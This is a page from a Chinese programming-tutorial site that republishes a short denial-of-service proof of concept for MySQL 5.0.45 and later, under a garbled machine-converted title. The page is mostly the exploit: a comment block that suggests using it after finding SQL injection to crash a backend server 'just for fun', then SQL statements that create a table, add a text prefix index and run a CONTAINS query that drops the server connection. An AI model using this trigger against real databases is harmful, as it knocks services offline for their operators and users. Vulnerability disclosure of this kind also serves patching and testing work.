程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> mysql 5.0.45 (修正)謝絕辦事破綻

mysql 5.0.45 (修正)謝絕辦事破綻

編輯:MySQL綜合教程

mysql 5.0.45 (修正)謝絕辦事破綻。本站提示廣大學習愛好者:(mysql 5.0.45 (修正)謝絕辦事破綻)文章只能為提供參考,不一定能成為您想要的結果。以下是mysql 5.0.45 (修正)謝絕辦事破綻正文


mysql 5.0.45 (修正)謝絕辦事破綻
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/

<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set

mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved